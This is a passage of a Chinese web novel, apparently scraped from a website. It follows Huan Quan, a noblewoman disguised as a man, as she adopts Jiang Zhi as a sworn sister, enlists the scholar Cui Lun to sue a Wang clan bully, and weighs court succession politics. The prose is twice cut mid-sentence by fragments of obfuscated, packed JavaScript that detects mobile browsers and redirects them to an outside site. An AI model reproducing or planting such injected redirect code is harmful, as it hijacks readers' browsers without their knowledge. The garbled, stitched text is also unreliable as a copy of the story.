桓权蹲下身,看着泪流满面的江芷,只拍了拍她的肩,不知该说些什么。 江芷却突然抬起头,抱着姆妈的尸首,恶狠狠瞪着那伤人的贼子,却是对桓权说的。 “我要他偿命!” “好!” 桓权没有犹豫答应了,邓玠闻言震惊看向桓权,虽然没有说话,反对之意却是再明白不过了。 司隶府的主记带兵将别院包围,别院中的人都被控制住了,主记入后院,见到桓权和邓玠,只拱手施礼。 “张主记,有礼了。” 桓权和邓玠上前施礼。 几人并不相熟,但桓权的声名,司隶主记张毅却是听过的,当日廷辩后,司隶府的主君陈玮没少当着自己的面咒骂桓权。 “桓郎可是一点都闲不住啊!” 张毅若有所指,桓权自然清楚指的是宣城江氏的案件,上前长揖道: “素闻张主记乃是公正耿介之人,最是疾恶如仇,守正不阿,不知入室行凶,该当何罪。” “依我朝律法,当弃市。” “如此,权就拜托张主记了。” 桓权将刚刚墨主记下的供词交给张毅,张毅看着手中的黄纸,有些错愕, “这……” “这是刚刚贼人交代的,张主记若不信,可自己带回去再审一遍。 提醒张主记,这人自叙是琅琊王氏的子孙,可依我看,琅琊王氏绝不会出此等穷凶极恶之徒,必然是冒名顶替,公可移书信一封给王氏家主,便可知此人身份真假。” 桓权笑着斜睨着张毅,张毅微怔,顿时就明白桓权的意思,拱手道: “多谢桓郎提醒,张某多谢了。” 张毅带人将一群行凶的贼子都抓了去,门口聚集了一群看热闹的人,见那群恶徒被带走,都拍手称快。 桓权蹲下身,见江芷泣涕涟涟的模样,心中也不好受,却还是耐着性子劝道: “江姑娘,人死不能复生,请节哀。” 桓权命人去棺材铺挑了一口上好的棺材,给老人家大办了一场丧仪,又听闻老人家还有一个女儿,便命人给了那姑娘一些金银首饰衣物,并请桓府中的女先生教她读书识字。 对于因这次入室行凶而受伤的江氏家仆,桓权都一一给了抚恤赏赐,又是请医师,又是熬汤药,又是给予钱粮。 江芷在一旁看着,心中一时百感交集,她没想到桓权竟然会待她这般用心,心中感动,却又想到家族败落也是因为他,又是无措,想要亲近却不能,想要怨恨亦不能。 “士衡公子,请慢!” 桓权和邓玠正要离开时,江芷唤住了桓权,趋步上前,对着桓权盈盈一拜,桓权忙将人扶住,道: “江姑娘不必如此。” “妾拜谢公子!” 江芷执意要行大礼,桓权也不好再阻拦,受礼后,桓权将江芷从地上扶起,道: “江姑娘,乱世之中,姑娘一人在京也是艰难,权不才,若江姑娘愿意,可愿认下权这个义兄。” “啊?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653589|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 邓玠在一旁都惊呆了,拉着桓权的衣袖,在桓权耳边道: “你疯了吗?她可曾是你未婚妻。” 桓权只认真看向江芷,并不理睬邓玠,江芷对上桓权的目光,鬼使神差点点头。 桓权道: “既如此,桓权今日便与江姑娘结为兄妹,以后权自当护江姑娘周全。” 之前将江芷安排在东城的别院,只想着这里僻静,是个清幽的好去处,却万万没想到,京都城内,天子脚下,竟有人敢入室行凶。 这是她思虑不周,才有今日祸事。 江芷孤身在京,容貌又盛,难免惹人觊觎,她要让江芷居于自己的羽翼之下,这样旁人才不敢胡为。 若只是将桓府的护卫派来,难免惹来些流言蜚语,这样于江芷名声有碍,桓权不愿。 兄妹却是个很好的借口,既可以名正言顺让江芷归于自己的羽翼下,又不碍江芷日后婚配。 又有左将军之子邓玠作为见证,旁人也不敢说些什么。 “义妹江芷在此拜谢义兄。” 桓权当即命人准备结义用的乌牛白马祭礼等项,请邓玠做了个见证,焚香拜祭。 离开时,桓权将自己贴身的小厮留在别院,令她主办别院一切事宜。 桓权这个小厮名唤白离,个子虽小巧,却素来机灵,武功平平,脚力极快,又能识文断字,是自幼就跟在桓权身边的。 桓权知道邓玠必然有事要问自己,邀请邓玠去府中一聚,备上好酒招待邓玠。 蕲茝作为府中的管家,安排这些琐碎的事最是得心应手,不消片刻,便整治了一桌酒席。 “难怪士衡舍得江家那女娘,家中有如此娇妾美姬,实在是神仙之福。” “别开玩笑了,蕲茝不是我的姬妾,她是我阿姐。” 邓玠给了桓权一个“你看我信吗”的眼神,斟酒自酌,道: “你为什么会让司隶府来处理这件事?” “那贼子若真是王氏子孙,叔宝以为一个京兆府县尉敢问罪吗?更何况今日京兆府县令乃是王氏门生,你说,他会如何处理这件事。” “县尉不敢,难道司隶府就敢?” “叔宝可别忘了司隶府的校尉陈玮可是刚正不阿之人,昔日他既然敢弹劾我桓氏,今日面对人证物证俱在的王氏,必然不会徇私。” 桓权信心十足,亲自为邓玠斟酒,邓玠一饮而尽,却还是担忧道: “士衡以为那人真是琅琊王氏子孙吗?” 桓权笑着为邓玠继续斟酒,道: “士衡也不知,因而此事还需要叔宝兄帮忙。” “我?士衡请说。” “叔宝兄母亲乃是琅琊王氏的大家女,叔宝自然与王氏有亲,何不替我去探听消息,若真是琅琊王氏,可在太保面前巧言几句,令王氏莫要插手的好。” “好,我自当去对舅父言说。只是王氏子孙少说也有千百之数,只怕一时也探听不明。” “无妨,若不是嫡系,便是旁支,解决起来更是容易了。只是有劳叔宝兄了。” “没事,举手之劳,正好我也好久没有去看望过舅父了,只是事成之后,士衡可要送我几坛好酒。” 14. 第十四章 势利使人争 谢弼醒来未见桓权,询问之下,知晓桓权奉旨入宫去了。 想及自己久未归家,只告知守门僮仆一声,便骑马离开了桓府。 送邓玠离开后,桓权看着辘辘烟尘,黄沙漫漫,天色又阴沉下来了。 “毛舒,你持我令牌,到东城泸水巷去替我查件事,将王家小子素日欺男霸女的罪证都搜集起来,叫人写一份诉状,送到东城县尉府去。 记住用不着你直接出面,找个颇有些正义感的儒生就行。 你再去找我兄长,请他书信一封给县尉,将案卷移交给司隶府。后面的事就用不着我们操心了。” “是。” 刚刚桓权、邓玠宴饮闲谈,毛舒就在屏风后听着,事情都已明白了大半。 她虽和江芷相交不多,但江芷性情简单,又同情她的遭遇,对她自然要怜惜几分。 再加上自己往昔的经历,最是痛恨这些欺男霸女的恶徒,如今能够替天行道,她自然是乐意的。 毛舒乔装打扮,扮成一个四处卖唱的歌姬,要在东城的泸水巷口租赁一处宅院,因而专往人口密集的茶棚去。 正听见人们在私下议论午后官兵来了的事。 软语向邻座的大娘打听了一番,大娘见毛舒戴着帷帽,背着琵琶,衣着虽然艳丽,却不华贵,又是异乡口音,知晓是卖唱的游女。 声音娇软,言语却很有礼貌。 大娘也忍不住在小姑娘面前有了卖弄之心,索性就将自己知道的事情竹筒倒豆子,都说了出来。 其中当然免不了添油加醋。 不过毛舒并不在意,她只需要一些基本事实就足够了。 临走时,向大娘道了谢,替大娘将茶钱给付了。 那大娘也是热心,便说可以帮毛舒找房子。 毛舒顺道又拿了几贯钱给大娘,请她给自己向巷子中被欺负的几户人家引路。 毛舒挨家挨户去走访,终于调查清楚个大概。 原来这位王家郎君本名王朝,因排行第六,故又名王六,乃是琅琊王氏的旁支,平日仗着家族没少鱼肉乡里,乡亲们早对他恨得牙痒痒,只是碍于家世,只得受着。 也不是没人告官,可那衙门里都是王氏门客,哪里有他们这些人说话的,告官不成,反被诬陷,被毒打一顿后一命呜呼的都有。 这些被欺压的人里,原有个落魄的书生,颇识得几个字,祖上也曾为州府小吏,只是到了他这一代落魄了。 这书生名唤崔伦,原本家里有几亩薄田,也不期望能做官,只求靠着几亩田地,养活老母就足够了。 不想他家田地与那王六的庄园相邻,王六便硬要强占他家的田地,崔伦不愿,便被王六带着恶仆打了一顿,直将他打得半死。 崔伦不愿忍气吞声,便写了状子去衙门状告王六夺人田地,谁知王六反诬他偷盗,并将一大包金银器物放在他床底下。 那官府明知是诬陷,反而助纣为虐,对崔伦又是一阵严刑拷打,崔伦受不住,只得认了,最后被判了流刑。 幸亏昔日父亲的朋友相帮,疏通了一番,才留下性命来。 只是这样一来,家中田地被夺,祖产因为官司的事也被卖了个干净,自己还落下残疾,走路一瘸一拐。 崔伦为了赡养老母,只得去书庐,接写抄书的活路,只是收入微薄,经营惨淡。 毛舒找上门的时候,崔伦并不愿出头状告王六。 经历一番家破人亡,好不容易才安稳下来,崔伦并不愿再惹是非。 “毛姑娘,您不用再劝我了,这件事请您另寻高明吧。” “崔郎君难道就甘心白白被欺负?若是我定然是不愿地,俗话说‘泥人还有三分气’,您一个大丈夫,却要对一个欺辱自己的人忍气吞声,我不信郎君心中不觉得委屈。” “事情都已经过去了,我不愿再沾染是非,姑娘又何必再来逼我了?” “崔郎君,到底是我在逼迫您,还是您的良心在逼迫您?还是说,你被吓破胆了?” “够了!毛姑娘,我这里不欢迎您,请您离开!” 崔伦被毛舒点破心思,恼羞成怒地就要驱赶毛舒,毛舒却并不着急,她从怀里掏出一没玉玦放在竹席上。 “我知道崔郎君在害怕什么,可现在和之前不一样,这次站在你身后的,是一股完全不输于琅琊王氏的势力。” “你什么意思?” “我可以保证这次,您会有不一样的结果。 事成之后,不仅你的冤仇可报,而且……” “而且什么?” “可以许你一份足以光耀门楣的富贵荣华。” “那你呢?你能从中得到什么?我凭什么信你?” 毛舒轻笑一声,“至于我,那不是你该关心的,行侠仗义,锄强扶弱。” “所以我不过是你满足虚荣感的工具?毛姑娘,我瞧得出,你不是普通人,或许你的出身不弱于王六,但在我看来,你们并没有什么区别。 以前衙门畏惧王六的权势,构陷折辱我;今日衙门又因为害怕姑娘的势,对王六用刑。 表面上看,的确我的仇报了,王六那个恶人受到了惩处,可实际上呢? 不过都是因为权势罢了!没有公平!不存在什么公理!王六不是因为他鱼肉乡里、恶贯满盈,所以要被惩处,我也不是因为有道理才打赢官司。 毛女郎,我们这些人,虽然都是些无权无势的老百姓,却也有血有肉,不是你们手里用来争权夺利的工具。” 崔伦说了很多,落在毛舒的耳中,却让她有些张不开嘴,内心张皇,讷讷半晌,拱手离开。 崔伦原是最适合的人选,如今他既不愿,免不了要再寻其他人。 依桓氏的权势,找一个愿意写诉状的寒门书生,原不是什么难事,只是崔伦一番话的确令毛舒若有所悟。 公理? 权势? 毛舒以为自己早已忘了“公正”二字,自穿越以来,她亲身经历了太多不公与黑暗,生存就已耗尽她全部气力。 时代在不知不觉同化着她。 不知何时,她早已习惯人分三六九等,早已习惯贵贱有别。 毛舒怔怔回府,尽数将崔伦的话转述给桓权,桓权闻言只是略微一怔,讥笑一声,道: “许久没见到这么有趣的人了,明日你随我同去拜访崔郎君。” “公子,我们做这一切的目的是什么?” 毛舒一路都在思考这个问题,现在她看到桓权,当初是桓权救下她,给她安稳,如今她也希望桓权能给她答案。 “为什么这样问?” “崔伦说,我们和王六并无本质区别,都不过是在利用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这是你今日的误工费,告诉你铺子里的人,都散了。” 掌柜捏着满满一袋钱,喜得眉开眼笑,连连答应着,还想要奉承两句,就被毛舒打断,催促着人离开。 崔伦冷眼瞧着,也不答话,更没有起身相迎,只是重新蘸墨,又低头抄写起来。 “崔郎君找到一份好糊口的工作,《汉书》有一百篇,一百二十卷,非积年累月不足以完也。” “你怎么知道是《汉书》?” “‘天下事未可知。且为天下者不顾家,虽杀之无益,但益怨耳’语出卷三十一,《陈胜项籍传》。” 崔伦闻言放下笔,他原本那些纨绔子弟不过都是浮华之辈,不学无术,横行乡里,皆如王六一般。 没想到眼前之人,相貌儒雅,学识渊博,崔伦傲慢之心稍减,起身恭敬与桓权拱手作揖。 桓权敛衣还礼,道: “贸然拜访,还望崔郎君海涵。某祖籍颍川,名唤桓权,表字士衡。” 桓权通报了自己姓名,崔伦心中一惊,颍川桓氏,饶是他不理会俗事传闻,这个姓氏他也是知道的。 心中顿时一紧,这样的世家子弟来找自己,断然没什么好事。 这样想着,面上的神色也不好看起来,眉头紧皱,一副苦大仇深的样子,却还是硬着头皮上去周旋。 “不知桓公子来访,所为何事?” 15. 第十五章 欲申冤屈 “公既知书,难道不知‘杀人者不死,伤人者不刑,是惠暴而宽恶也’?” 崔伦内心微恸,他何尝不想让有罪者受罚,他何尝不想报仇一舒心中委屈,可他已经失败过一次了。 曾经的他太过天真,以为自己可以求得一个公正,可后来他付出了惨痛的代价,如今他已经一无所有,不愿再相信这个浑浊的世道了。 崔伦握紧了拳头,强压着心底的不甘,面上却不露出半分,道: “恕伦愚钝,不能理解公子之意。” “崔生,你是个聪明人,既然知当世困厄皆源于世家掌权,视百姓为奴仆,就当有所为才是。” “公子高看崔伦了,崔伦不过一介白衣,不敢有大志。” “大志也罢,小意也好。受了冤屈总要澄清才是,崔生之事我已然了解,解冤除怨,乃廷尉之责;替朝廷选辟贤才,乃尚书之责。公既知书,可知自己的责任?” 桓权一句一句紧逼,字字皆落在他的心头,他也曾熟读圣人之书,怎么可能没有读书人的志向,已经死寂的心再次被唤醒,崔伦直面桓权的目光,道: “什么?” “‘士不可以不弘毅,仁以为己任,不亦重乎?死而后已,不亦远乎’公以为,曾子所言可否?” 崔伦内心震动,那被压抑久了的志气又涌上胸膛,眼眶微微颤动,呼吸也因为太过激动而颤动起来。 桓权继续道: “孟夫子有云:‘我善养吾浩然之气’崔生以为读书人之志该如何?” “浩然之气。” 崔伦喃喃道,内心触动,握紧拳头的手微微颤动着,一股正气直冲脑际,这些年的委屈不甘霎时都涌上心头,年少时兼济天下的理想,青年时的困厄难行,身遭罹难后世态炎凉的痛苦折磨…… 崔伦吞咽着口津,喉头干枯泛着苦涩,目眦尽裂,眼眶通红,整个人都处于一种战栗的状态中。 他猛地起身,看向桓权,这个未及弱冠、不辨雌雄的青年,正全神贯注盯着自己,目光真挚,没有一丝鄙夷。 这让受尽白眼的崔伦心中涌出一股暖意,从桓权的眼中,他读出了桓权的真诚与尊重。 士为知己者死! 崔伦没想到自己一介寒衣,还能遇到这样一位明白自己的人,他并不因出身而鄙薄自己,不因贫寒而侮辱自己。 在如此落魄之时,还有人愿意以“读书人”来待他,崔伦落下泪来。 拱手道: “伦愿勉力一试。” 桓权起身抬手扶起崔伦,握住了崔伦的手,道: “我便知崔生乃心怀大义之人,崔生高义,当权拜郎君才是。” 说着深深一揖,第一次被世家公子如此以礼相待,崔伦明显有些激动,忙扶住桓权。 “伦不过一介布衣书生,不甘敢当。” “崔郎君,公今日所为,非为桓权,亦非为崔生,实乃为冤屈不能伸张无辜百姓,为天下公理,存真去伪。” 被重新唤起生机的一颗心脏猛烈跳动着,崔伦眼含热泪看向桓权,因桓权的话而触动,因有人理解而感慨。 “伦必不负公子所托,死而后已。” “你不必死,崔郎是有志之人,有志者,事竟成。崔郎必能达成所愿。” 桓权轻笑着,解下自己腰间玉环,郑重放在崔伦掌心,道: “权等着崔郎好消息。” “这是?” 崔伦看着手中的玉环,有些无措。 “待此事了结,公可持此玉环来乌衣巷桓府寻我,直接报我桓权姓名就行。” 桓权笑着离开书庐,崔伦看着桓权的背影,心中涌出一股莫名的冲动,隐忍半生,或许这就是他的机遇。 毛舒跟在桓权身后,随桓权一同离开了,只是临了还回头看了崔伦一眼。 桓权不爱乘舆轿,多少骑马代行步,毛舒原本也是不会骑马的,也是在桓权身边后,为方便传递消息,才学了骑马。 “崔伦为何突然同意了?” 毛舒不解,前番她费尽心思劝导,说尽了好话,崔伦都不为所动,反被他抢白了一顿。 “崔伦不是普通的读书人,他能说出那番话,必然是有见识的。这样的人,单纯的以利益诱惑是不成的。 读书人,心中难免有傲气,长期的困厄让他志气难以舒展,这个时候,他需要的是理解与支持。 浩然之气,哪个读书人不想成为心怀天下的君子了?” 毛舒恍然大悟点点头,笑道: “我明白了,要和理想主义者谈理想。” “有进益。” 桓权带着一行十数人径直去了乌衣巷宜都侯府,宜都侯閽人见是桓权,当即就有三四个小厮上来牵马。 桓权也不要人通报,自己一撩衣袍就朝府里跑去,府里的仆人见上桓权纷纷避让,有新来的仆役,不禁瞧着桓权的背影,向身边人打听着。 “他是谁?怎么这么横冲直撞的?” “你不知道他?桓三公子,君侯亲弟,只是他多不在府中居住。” “就是那个长得特别好看的桓三公子吗?” “正是。” “混说什么了?还不快去干活!” 追上来的都管当即喝止了两个嚼舌根的仆役再看了一眼,前面奔跑的桓权,无奈追了上去。 桓权径直来书房见兄长,桓玑闻声抬头,见是桓权,眼中按捺不住的惊喜,当即放下手中的笔,迎了上去。 “怎么回来也不让人提前通知一声,我好安排人来接你。” “兄长。” 桓权向兄长拱手行礼,桓玑将桓权的手抬住了,道: “你我乃是血脉兄弟,何须这些虚礼,权儿未免也太重礼了。” “圣人有云‘恭近于礼,远耻辱也’权与兄长虽未血亲,却有长幼之别,上下有序,方能长久。” 桓玑哑然失笑。 世人都说他桓玑端坐谨言,有其父遗风,却不知桓权才是最守礼知节之徒。 “你我兄弟许久不曾聚过,大将军新赏了几坛好酒,今日定要不醉不归。” 桓玑拉着桓权的手,两人同席而坐,桓玑絮絮叨叨说着府中琐事,无非是长子读书,次子练武,长女读诗之类的事情。 “兄长,有一事需你出面。” 桓权遂将那日东城王六的事都讲了一遍,桓玑闻言皱起眉头,道: “又是因为江家那女郎?权儿,此番你似乎太犹豫不决了。若真是喜爱,纳了就是,若是无意,也该放其归去,你这样将人养于外宅,算什么?” “不是养,那宅子是我送予她的。” “这就更是玩笑了,她一介孤苦无依的弱女子,你给她一处宅院算什么?她又无自保之力,不过白白惹人惦记罢了。 你若真为她好,就该为她择一可靠之人,赔些妆奁也就是了。” “这怎么可以!怎样未免也太轻谩江女郎了,她是个人, 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两人正聊天时,桓玑的妻子陆希夷来到正厅上,见桓权,道了万福,桓权忙躬身作揖还礼。 “权见过嫂嫂。” “知道是小叔回来了,特意令厨房备了些小叔素日爱吃的,小叔可要多留些日子。” “嫂嫂客气了。” 说着,几个仆役就端着桌案和饭菜进屋来了,桓权几人分主宾各安席坐。 几个子侄都相继被领了出来,与桓权一一请安问好,桓权笑着和他们打招呼。 桓玑已近不惑之年,共有四子二女,除长女和幼子为妾室赵夫人所出,其余皆为正妻陆希夷所生。 “怎么没见到文君?” 文君为已故夫人所生,也是桓玑的第一个女儿,因她年幼丧母,桓权一直很怜爱这个侄女。 因此见席上文君没有出现,便要多问一句。 “文君近两日染了风寒,我让她歇着了。” 桓权闻言才安下心来,道:“一会儿我去瞧瞧她。” “依我看,小叔何不搬回来,虽说我桓氏宅院众多,可到底一家人在一起,也热闹些。 如今几个孩子也到了读书学礼的年纪,小叔学问渊博,若能给几个孩子指点一二,也是好的。” “你嫂子说得在理,你一个人在外居住,我总免不了要担心,何不回府来住。 如今我在京中为官,也接过桓氏一族的家中之权,必然不会再让你受委屈了。” 桓权的眼神略一沉,随即又笑眯眯,道: “兄长说得哪里话,我又有什么委屈可言。” 桓权看向院中摇曳的翠竹,转移话题,道: “转眼入秋,天气也凉了起来,我那里有几匹陛下新赏的蜀锦,回头令人送来给几个孩子做身新衣吧。” “何必费这功夫,他们一年的衣服哪里穿完。若是得闲,给几个孩子讲讲学问,也能让他们有所进益。” “兄长说笑了,若论学问,权哪里比得上兄长,不过是些浅见薄识罢了。” 桓权笑着道。 一家人闲聊,说些家长里短的事情,倒也其乐融融。 饭罢,桓权又考校了几个子侄的功课,为他们讲了两篇《尚书》,直到天色将晚,几个孩子才离开。 16. 第十六章 尽人事,听天命 晚风清朗,吹动着竹林萧萧,桓权背手而立,看着天边红云遮蔽半边天空,琉璃瓦隐射橘色残阳,一片金光。 “王六郎,一个旁支,琅琊王氏不会在意的。” 桓玑看向桓权,将刚烹的绿茶递给桓权,桓权接过茶盏,笑道: “我不担心这个。” “那是为了?” “今天晨起陛下召我入宫,询问我大将军对于立储一事的意见。” “你如何答的?” “据实回答。” “陛下素来喜欢陈王,有意令陈王继承大统,只是肃王为长,长幼有序,法理上总是肃王为先。 只可惜肃王出身低微,虽为长子,不得盛宠,也是难。” “肃王虽为长,然而母族衰微,他若即位,只恐世族难以心服。 如今皇权本就衰微,圣人有云:‘天下无道,则礼乐征伐自诸侯出’,此种情形下,肃王即位,犹如当年汉献帝一般。” “大将军若要权倾天下,肃王即位,挟天子以令诸侯,难道不好吗?” 桓玑作为大将军梁冀旧友,立储一事,桓玑是询问过他意见的,只是出于政治本能,桓玑并未正面回答,只是含糊其词。 他与桓权不同,他肩负整个桓氏一族兴衰,不容有半分冒险,他不需要投靠谁,只需要在大将军与皇帝中保持中立,就足够了。 他代表的,不是他个人,甚至不仅仅是桓氏,而是整个北方世族的态度。 “于大将军有益,于我桓氏一族却未必,于整个晋朝则是贻害无穷。 肃王即位,江左旧日世族难道甘心吗?南北世族本就矛盾重重,届时必然又是一场动乱。 内乱不息,何谈北伐,大河以北的失地又谈何收复呢? 若我们的目光只能局限于眼前方寸之地,未免太失了读书人风度。” 桓玑瞧桓权的目光,满是欣赏,心怀大志,筹谋深远。 这样的人物或许真可以在乱世掀起一场风雨。 “南北两族的旧怨经过苏峻之乱后,倒也缓和不少,遥想当年,南方那些世族可是指着我们的鼻子骂‘伧子’。” “毕竟是当年旧事,苏峻之乱祸及半个江东,却也这些世家明白,这个乱世意欲逐鹿天下者,不在少数。 苏钧之乱时,南北世族死的人都不少,这样斗下去,早晚大家都完蛋。” 桓权冷笑着,出身世家,他有着天然的政治敏锐性,世族之争,不见兵戈,却步步见血。 江氏一族,就是这场不见血斗争的牺牲品。 今日胜,明日败,谁又能说得清。 “士衡,事情未必有你想的那般糟糕,至少大家都还保持着体面。” 桓权的目光坚定而又无望,苦笑道: “苏钧之乱起,这天下就不可能再太平了。黄巾军只是乱世的开始,不会是结束,欲望之火一旦点燃,就不会轻易熄灭。” 桓权含沙射影对桓玑道,桓玑显然已经明白桓权话语中的含义,他有些心惊,却无言以对。 “你这样做,难道不怕吗?” “不去做,怎么知道做不到呢?” 桓权轻笑着,她很少吝啬前行的步伐,女扮男装,入仕为官,搅弄风云,她总是要试一试的。 “我虽知大将军着意于肃王,然肃王并非全然无缺,肃王今已十八,再过两年便要及冠。 一个成年的君王,可并不容易控制。” 桓权眼神冷淡,平静分析着利弊得失,语气也没过多起伏。 “肃王也罢,陈王也罢。大将军虽大权独揽,却也并未全然没有顾忌,陛下到底是做了多年的天子,他若真的属意谁,谁又能奈何了?” 桓玑冷笑着,他身处权势中心,早看透世家与皇权之争,本就是一场博弈,能占得一时的上风并不难,难得是如何在这场博弈中长久地生存下去。 世家,权臣,帝王,哪一方占尽优势时,其他两方就会联合,以维持这脆弱而又短暂的平衡。 “兄长,此事本就非你我能够左右的,静观其变吧。” 桓权长舒一口气,看起来并不焦心,她似乎并不太关心结果。 桓玑侧眼看向桓权,他有些摸不清桓权的心思,为立储一事,桓权可谓没少费心思,游说世家,探听各方态度,如今却又这般云淡风轻。 “如果大将军仍执意于肃王,如之奈何?” “尽人事,听天命。肃王也罢,陈王也罢,于我桓氏一族都可进退无隅。 若是肃王即位,江左顾氏必不甘心,顾氏为江左四族之首,届时南北世族又是一场争斗,肃王必将愈发依靠大将军,大将军权势日盛,肃王内心必然惶惑不安,届时与顾氏和好,也未可知。” 桓玑闻言不语,他心底明白,这场争斗表面上是肃王和陈王储位之争,实则为南北世族之争。 “过几日,就是冲儿大婚,兄长可都准备好了?” “这事官中有人负责,原本就用不着我们什么。” “该准备的还是得准备。” “知道。你放心,尚公主是我桓氏一族的荣耀,我这个家主责无旁贷。” 桓权颔首。 月出东山,桓权在仆人的引领下,去瞧病中的桓文君。 喝完药后,文君正靠在榻上做些女红,桓权瞧见了,当即就喝止伺候的姆妈,道: “没看见女郎还病着,怎么就敢把这些活拿来!” 文君一见小叔父,挣扎着就要起身行礼,桓权将人按回到榻上,道: “你正病着,不用这些虚礼。感觉可有好些?府里的大夫怎么说的?” “小叔父,我没事,就是感染风寒罢了。” “风寒可不是小事,还是得好好养着。 等你病好了,就到叔父府里去住些日子,叔父一个人也怪没趣的。” “这……” 文君有些犹豫,她虽然亲近叔父,但这样贸然答应,于礼不合。 “你放心,我已和你父亲说好了。你就到我府里去住些日子,你不是很喜欢毛舒姐姐吗?到时候让你舒姐姐给你做布娃娃玩。” “好!” 文君虽然年幼丧母,被逼着懂事知礼,到底只是个孩子,听说有好玩的,立马便答应了。 桓权又宽慰文君一会儿,问了她功课,又叮嘱她不要劳累,絮絮叨叨说了不少关心的话,才离开。 毛舒跟着桓权回到院子中,这是昔日桓府尚在时,桓权母女俩生活过的。 桓权立于院中廊芜间,仰头欣赏着秋月,梧桐树影剪碎月影斑驳,毛舒拿着一件鹤氅给桓权披上。 “公子,夜凉了。” “舒儿,你说我所求,能得到吗?” “公子指的是什么?” “陈王即位。” “公子真的在乎谁即位吗?” “我难道不该在意吗?虽说我如今官至尚书郎,可若要更上一层,并不容易。” “所以公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653592|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子想借立储一事,浑水摸鱼,若成,则有从龙之功,何愁来日不能封侯拜相。 若不成,虽不至于有性命之忧,仕途恐也只能止步于此。 可公子那只是世俗之人的想法,纵使陈王无法即位,您也获得了保皇派和江南世族的信任,这于您而言,同样是一笔不小的政治财富。” 桓权闻言低头微微一笑,并未反驳,而是道: “接着说下去。” “更何况,您本就是大将军的心腹,难道大将军会因此事而疏远你吗?恐怕不会吧。 更何况,肃王立储的牌面真的有那么大吗?大将军真的决心支持肃王即位吗? 历来立储一事,礼法虽重,帝王心意也不可忽视。 家世二字,在这个世家掌权的时代,影响力远超其他朝代。 肃王毕竟年纪大了,对于一个权臣而言,自然希望自己手中的那个傀儡能够听话些的好。” 桓权嘴角上扬,露出一抹笑意,瞧毛舒的目光晦暗不明,目光逡巡在毛舒纤长白皙的脖颈上许久,方才道: “你应该庆幸,你和我同乡的情分在,否则我真想瞧瞧断气的美人是何等模样。” 毛舒顿时一阵恶寒,她并非不知道桓权瞧她的目光不怀好意,只是不曾料到,她竟然会在自己点破心思那一刻,心生杀意。 瞧着毛舒因为害怕发抖的模样,桓权将手放在毛舒肩上,靠近她的脖子,在她耳边轻声道: “放心,我不会杀你,在这个世上,值得我留恋的东西不多,你就是其中一件。” 随即甩袖进屋去了。 毛舒呆愣在原地,恐惧从心底一点点蔓延开来,桓权表面的温润,让她忘记了这是个双手沾血的魔鬼。 她以为桓权是和她同时代的人,可来历相同,心性却迥然不同,桓权残忍、虚伪、无情。 想起当桓冲屠杀江芷满门时,桓权还温柔和煦带着江芷去庙里进香拜访,送她珍奇收拾。 毛舒很明白桓权一早就算计好了一切,包括她与江芷这张婚约。 她利用江氏谋逆一事,为自己谋忠义之名;她留下江氏剩余族人性命,是为谋仁义之名。 毛舒想起桓权救下她时,对她说的话。 “毛舒姑娘,我可不是什么良善之人,跟着我不会是有好结果的。” 可那时她因为是故乡之人,心中亲近,义无反顾跟着桓权回到了京都府。 毛舒抬头看向秋月,开始怀疑自己一初的决定,是不是错了? 跟着桓权,便是在阴谋诡谲中翻云覆雨。 可离开桓权,她又能去哪儿? 桓权无情,却是故人。 毛舒转身跟上桓权的步伐,追上去,拍着桓权面前的书案道: “桓权,你的那些阴私算计,难道不需要一个倾诉吗?我可以做你的知心人,只有我,才知道你的来处,才明白你的不甘。” “所以了?” “你不会杀我,我也不会背叛你。桓权,其实我比你更想知道你最后会有一个怎样的结果。 封侯拜相,青史留名,抑或是尸骨无存,遗臭万年。这条路,我陪你一起走了。” 桓权闻言,先是一愣,随即一笑,道: “你倒真不怕我杀了你,别忘了,在这个时代,杀个舞姬于贵族而言,不是什么大不了的事。” “你不会。” 桓权低头一笑,颇有些宠溺,道: “的确,我舍不得。” 17. 第十七章 我心悦你 秋日朗润,霜叶枫红,青山粉黛,于竹林深处,隐约有长啸之声。 桓权闻声,侧过头,指着那山间有人语的地方,笑道: “我猜元达兄必然在此,辅嗣如今可信?” “信,士衡聪颖,我怎会不知。” 两人玩笑着登上青石小道,木屐在青石上发出“蹬蹬”的响声,过了木桥,果然见一群士子聚在一处。 “元达兄。” “乔太常。” 谢弼和桓权分别唤了乔昭一声,乔昭正在赋诗,见两人远远涉水而来,放下手中酒盏,拱手迎上前去。 “谢辅嗣,桓士衡,两位是打哪里来?” “今日天气甚好,特为踏秋而来,元达兄这又在流觞曲水,饮酒赋诗了?” “闲来无事,唯有如此可以为乐。请!” 乔昭邀桓权二人于溪边青石上坐下,早有两个小厮拿个两个酒盏就过来了,三人都饮过一回,乔昭道: “听闻辅嗣如今隐居南山,采药炼丹,逍遥自在,令我等羡慕不已。” “元达兄过誉了,我是个庸碌粗鄙之人,不惯官场之事,若能求得自在,也算一件乐事。听闻元达兄高升,未能庆贺,在此贺过了。” “若是从前,倒真值得庆贺,如今,呵!”乔昭冷笑一声,不再言语。 桓权与谢弼面面相觑,他二人均明白乔昭今日的抱怨从何而来。 